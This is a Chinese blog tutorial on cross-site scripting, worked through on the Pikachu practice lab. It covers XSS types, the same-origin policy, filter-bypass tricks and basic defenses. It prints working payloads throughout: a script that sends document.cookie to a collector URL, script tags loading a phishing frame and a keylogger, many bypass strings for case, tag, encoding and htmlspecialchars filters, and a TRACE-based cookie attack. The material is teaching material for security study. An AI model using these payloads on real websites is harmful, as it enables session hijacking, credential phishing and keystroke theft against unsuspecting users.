xss跨站脚本攻击

2023-09-19 20:27:39

本文是对xss跨站脚本攻击的相关介绍,希望这篇文章能让你不仅有一定的收获,而且可以愉快的学习,如果有什么建议,都可以留言和我交流

1.xss定义

XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。
XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言

 2.xss的原理 

 参数给变量未经过滤直接输出,输出的时候没有进行html实体编码

3. xss的分类 

  • 反射性(中危漏洞)

交互的数据一般不会存在数据库里面,只是把用户输入的数据反射给浏览器,一次性,所见即所得

再次点击反射型显示

  • 存储型(高危漏洞)

 交互的数据存储在数据库里面,永久性存储,具有很强的稳定性

以后每次点击存储型会显示

  • DOM型(高危漏洞)

不与后台服务器产生交互的数据,通过前端的DOM节点形成xss漏洞

a标签  <a href='#' οnclick="alert(2222)">what do you see?</a>

4.可能存在xss漏洞的地方 

有输入的地方

有更新的地方

有留言的地方

有对话框的地方 

5.xss攻击的危害

  • 劫持用户的cookie

 攻击者要有xss平台   语句为  +document.cookie;

 现在的cookies没有东西

首先配置cookies

http://10.0.0.130:91/pikachu/vul/xss/xssblind/admin.php  要在这里查看弹出的地方有xss漏洞

http://10.0.0.130:91/pikachu/vul/xss/xssblind/admin_login.php

http://10.0.0.130:91/pikachu/vul/xss/xssblind/admin_login.php

1111'"><script>document.location='http://10.0.0.130:91/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

  • 框架钓鱼

改ip和路径

输入钓鱼语句 <script src="http://10.0.0.130:91/pikachu/pkxss/xfish/fish.php"></script>

出不来清除cookies

再次点击存储型不出现对话框,将cookies清除掉再次点击存储型,出现登录页面

  • 键盘记录 

 <script src="http://10.0.0.130:91/pikachu/pkxss/rkeypress/rk.js"></script>

在页面随便输入都会被记录

6.同源策略
    

  • 什么是跨域

当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
例:

http:// www.   baidu.com  :80 /   news/index.php
协议     子域名    主域名  端口    资源地址
https:// www.  baidu.com  :80
http:// www.baidu.com  :80      协议不同
 http:// vip  .baidu.com  :80
http:// www. baidu.com  :80   二级域名不同
http:// www. baidu.com  :80
http:// www.baidu.com  :82   端口不同

  •  同源策略

为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
不同域之间不可以相互操作js

  • 不受同源策略阻止

<script src="...">  //加载本地js执行
<img src="...">  //图片
<link href="...">  //css 样式
<iframe src="...">  //任意资源  (框架)

  •  同源策略修改

后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问
 c:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
header("Access-Control-Allow-Origin:*");

7.xss绕过

  • 前端限制绕过(长度)

 在搜索栏输入或者右键检查将长度变大
 代码显示不全

可以在搜索栏输入


将长度20改为200或者更大

  •  如果script被干掉解决方法

   大小写混合     '"><sCRipT>alert('你打篮球像oldboy')</sCrIPt>
    正常输入不弹出框1111'"><script>alter(1)</script> 

  '"><sCRipT>alert('你打篮球像oldboy')</sCrIPt>

 拼凑绕过/双写

 <sc<script>ript>alert('你打篮球像oldboy')</scr<script>ipt>
注释干扰后台绕过
<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
 换html标签
 111'"><img src=# οnerrοr="alert('oldboy')"/>
  <svg </onload ="1> (_=alert,_(1)) "">  
 <div onactivate=alert('Xss') id=xss style=overflow:scroll> 
 <marquee loop=1 width=0 onfinish=alert(1)>
 <base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>  
  <Video> <source onerror = "javascript: alert (XSS)">
  <Input value = "XSS" type = text>
  <a href=javas&#99;ript:alert(1)>        

  • 如果alert被过滤掉

可以换函数
  <svg </onload ="1> (_=alert,_(1)) ""> 
拆分法
 替换
111'"><sCRipT>confirm(1)</sCrIPt>
111'"><sCRipT>prompt(1)</sCrIPt>
编码
 111'"><img src=x οnerrοr="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#121;&#97;&#110;&#103;&#115;&#104;&#117;&#97;&#110;&#103;&#39;&#41;"/>
解码为yangshuang(alert英文要用单引号引起来)

  • htmlspecialchars()函数
  •  htmlspecialchars()函数的作用

        把一些预定义的字符转换为 HTML 实体。
       干掉单引号双引号尖括号
 预定义的字符
& (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt

  •     原理

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

  •     htmlspecialchars()函数配置参数

        采用实体html编码,怎末绕过
       ENT_COMPAT - 默认。仅编码双引号 没有双引号可绕过)
                q' οnclick='alert(111)'

 ENT_QUOTES -( 编码双引号和单引号a标签可绕过) 所有的单引号双引号尖括号上面的预定义字符都干掉的时候,直接输入到a标签绕过
 ENT_NOQUOTES - 不编码任何引号

  •     xss之href输出绕过

        javascript:alert(1111)

 直接代入a标签herf里面一样可以绕过htmlspecialchars
 <a href=javascript:alert(1111)> 

  • xss之js输出绕过

 2'</script><script>alert(1111)</script>
        
 ctrl+f  

     
<script>
    $ms='1';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }
</script>

  2'</script><script>alert(1111)</script>

 8.XSS常规防范

对输入进行过滤,对输出进行html实体编码
过滤单引号、双引号、尖括号、script、alert

9.跨站跟踪攻击

    即CST攻击,是一种利用XSS和HTTP TRACE功能来进行攻击的方式。
    浏览器有一个安全策略,通过设置cookie的httponly属性,这样客户端脚本就不能通过document.cookie访问该cookie,即使有XSS漏洞,也不能盗取用户cookie。这个时候就可以利用HTTP TRACE方法来获取到用户的cookie信息。
    实战
        1.burp抓包
        2.修改get/post请求头为TRACE
            TRACE作用:客户端发起一个请求时,这个请求可能要穿过防火墙、代理、网关或其他一些应用程序。每个中间节点都可能会修改原始的 HTTP 请求。TRACE 方法允许客户端在 最终将请求发送给服务器时,看看它变成了什么样
        3.修改请求包中的任意一个字段
             Cookie: <script>alert("TRACE XSS")</script>
        4.修改响应包中的显示类型
            将Content-Type:message/http 改为 Content-Type:text/html Cookie 

更多推荐

产业互联网,并非消费互联网式的置身事外

在消费互联网时代,我们听到最多的一个词汇,便是「收割」。当「收割」发展到一定的程度,我们还听到了一个词,叫「豢养」。不得不说,在流量充沛的年代里,通过「收割」和「豢养」的方式,的确是可以获得一定的发展潜能的。然而,等到流量的红利不再,通过简单粗暴的「收割」和「豢养」开始表现出来了越来越多的问题和弊端。我们看到的流量的沉

HEXO 基本使用

1新建、编辑并预览文章1.新建文章hexonew[layout]title#或hexon[layout]title创建文章前要先选定模板,在hexo中也叫做布局。hexo支持三种布局(layout):post(默认)、draft、page。我们先介绍如何使用已有布局,后面还将会介绍如何自定义布局。在博客目录下输入以下命

macOS 中 聚焦搜索 的使用教程

macOS中的聚焦搜索是一个强大的工具,它可以帮助你快速找到文件、应用程序、联系人、电子邮件、互联网搜索结果等。下面是macOS中聚焦搜索的使用教程:1.打开聚焦搜索:使用键盘快捷键:按下键盘上的Command键和空格键(⌘+空格),即可打开聚焦搜索。这是最快的方式。使用鼠标或触控板:点击屏幕右上角的聚焦搜索图标(放大

详细介绍下VLAN隔离与VLAN之间互联

什么VLAN?VLAN代表虚拟局域网(VirtualLocalAreaNetwork),它是一种在物理网络基础上创建逻辑上独立的虚拟网络的技术。VLAN允许将一个局域网划分为多个虚拟的逻辑网络,这些虚拟网络在逻辑上相互隔离,就像它们是物理上分开的一样。通过使用VLAN,可以将不同的设备、用户和资源划分到不同的虚拟网络中

每日练习-8

目录一、选择题二、算法题1.另类加法2、走方格的方案数一、选择题1、解析:当使用new运算符创建一个类的对象数组时,会调用该类的构造函数来初始化每个对象。因此,如果创建了5个对象,那么构造函数会被调用5次。当使用delete运算符删除一个指针时,会调用该指针指向的对象的析构函数来释放内存。但是,如果该指针指向的是一个对

【Spring】IOC基本用法

🎈博客主页:🌈我的主页🌈🎈欢迎点赞👍收藏🌟留言📝欢迎讨论!👏🎈本文由【泠青沼~】原创,首发于CSDN🚩🚩🚩🎈由于博主是在学小白一枚,难免会有错误,有任何问题欢迎评论区留言指出,感激不尽!🌠个人主页目录🌟一、向Spring容器中注册Bean🌟🌟1.1、使用MAVEN注入依赖🌟🌟1.2

华为智慧搜索,下一片流量蓝海的“入海口”

几年前开始,TMT业界就发出了一类质疑的声音:移动互联网的各个APP彼此割裂,是在“孤岛炼油”。大量的应用程序和服务互不打通,形成了严重的数据孤岛,用户只能进行站内搜索,很难穿透APP壁垒,进行全局搜索。《淮南子·氾论训》中写道,“百川异源而皆归于海;百家殊业而皆务于治”。像千百条来自不同源头的江河,最后都会归流入大海

如何安装VMware Esxi 6.7.0(7.x版本同样适用)

1.什么是VMwareEsxi服务器?VMwareESXi是VMwarevSphere虚拟化平台中的裸机管理程序。作为用于创建和运行虚拟机(VM)的裸机管理程序,VMwareESXi在其上运行并直接访问硬件,无需安装操作系统。与其他类型的管理程序相比,这种对硬件的直接访问使其性能更好、运行速度更快且可扩展性更强。这使得

SAP FI之自动付款程序运行 F110

简介付款流程包括以下步骤输入发票分析未结发票的到期日准备应付发票付款被批准或修改发票已付款始终需要处理大量的发票。必须按时支付应付帐款发票才能获得可能的折扣。会计部门希望自动执行此发票处理。自动付款程序是一种可以帮助用户管理应付帐款的工具。SAP为用户提供了自动执行以下操作的选项:选择要付款或收款的未结(待处理)发票要

李宏毅-hw7-利用Bert完成QA

一、查漏补缺、熟能生巧:只有熬过不熟练的时期,反复琢磨,才会有熟练之后,藐视众生的时刻1.关于transformers中的tokenizer的用法的简单介绍:fromtransformersimportBertTokenizerFast#加载预训练的BERT模型tokenizertokenizer=BertTokeni

Linux 系统移植(一)-- 系统组成

参考资料:linux系统移植篇(一)——linux系统组成【野火Linux移植篇】1-uboot初识与编译/烧录步骤文章目录一、linux系统组成二、Uboot三、Linux内核四、设备树本篇为Linux系统移植系列的第一篇文章,介绍了一个完整可运行的Linux系统由哪些部分组成,每个部分的作用是什么。一、linux系

热文推荐